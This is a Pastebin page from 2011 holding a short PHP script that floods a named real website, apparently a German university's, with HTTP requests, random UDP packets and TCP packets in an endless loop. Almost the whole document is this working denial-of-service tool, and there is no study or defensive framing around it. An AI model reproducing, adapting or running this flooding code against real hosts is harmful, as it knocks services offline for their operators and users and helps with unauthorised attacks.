Advertisement
n0t4dM1n

Untitled

Jun 5th, 2011
847
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.07 KB | None | 0 0
  1. <?php
  2.  
  3. while(1){
  4.     httpflood("www.hs-weingarten.de",$file,10,0);
  5.     udpflood("www.hs-weingarten.de",10,4454,0);
  6.     tcpflood("www.hs-weingarten.de",10,45454,$port,0);
  7. }
  8.  
  9.  
  10. function httpflood($website,$file,$times,$delay){
  11.     $p=0;
  12.    
  13.    // echo "[HTTP FLOOD BETA]: DDos Started for $times times. Site: $website. File: $file Delay: $delay ms \n";
  14.  
  15.     $head = "GET /".$file."/ HTTP/1.1\r\n";
  16.     $head .= "Accept: */*\r\n";
  17.     $head .= "Accept-Language: nl\r\n";
  18.     $head .= "Accept-Encoding: gzip, deflate\r\n";
  19.     $head .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
  20.     $head .= "Host: $website\r\n";
  21.     $head .= "Connection: Keep-Alive\r\n\r\n";
  22.  
  23.     for($i = 0; $i < $times; $i++){
  24.         $DoS = fsockopen($website, 80);
  25.         $fpw=fwrite($DoS, $head);
  26.         echo "Paket $i \n";
  27.         if ($fpw){
  28.             $p++;
  29.         }
  30.         fclose($DoS);
  31.         sleep($delay);
  32.     }
  33.     echo "$p of $times requests sended\n";
  34. }
  35.  
  36. function udpflood($host,$packets,$packetsize,$delay){
  37.     $p=0;
  38.     $packet = "";
  39.     for($i=0;$i<$packetsize;$i++)
  40.         $packet .= chr(mt_rand(1,256));
  41.     for($i=0;$i<$packets;$i++){
  42.         $fp=fsockopen("udp://".$host, mt_rand(0,6000), $errno, $errstr, 5);
  43.         $fpw = fwrite($fp,$packet);
  44.         echo "Paket $i \n";
  45.         if($fpw){
  46.             $p++;
  47.         }
  48.         //fclose($fp);
  49.         sleep($delay);
  50.     }
  51.  
  52.  
  53.      echo "[UDP FLOOD]: Packets sended to $host. $p Random Ports used to perform this attack! \n";
  54.      
  55. }
  56.        
  57. function tcpflood($host,$packets,$packetsize,$port,$delay){
  58.     $p=0;
  59.     //echo "[TCP FLOOD]: Sending $packets packets to $host:$port with $delay ms delay. PacketSize: $packetsize";
  60.  
  61.     $packet = "";
  62.     for($i=0;$i<$packetsize;$i++){
  63.         $packet .= chr(mt_rand(1,256));
  64.     }
  65.  
  66.     for($i=0;$i<$packets;$i++){
  67.        $fp=fsockopen("tcp://".$host,$port,$errorn,$errors,5);
  68.        $fpw = fwrite($fp,$packet);
  69.        echo "Paket $i \n";
  70.        if ($fpw){
  71.             $p++;
  72.         }
  73.        //fclose($fp);
  74.        sleep($delay);
  75.     }
  76.     echo "[TCP FLOOD]: Finished sending.$p of $packets packets to $host:$port. \n";
  77. }
  78.  
  79. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement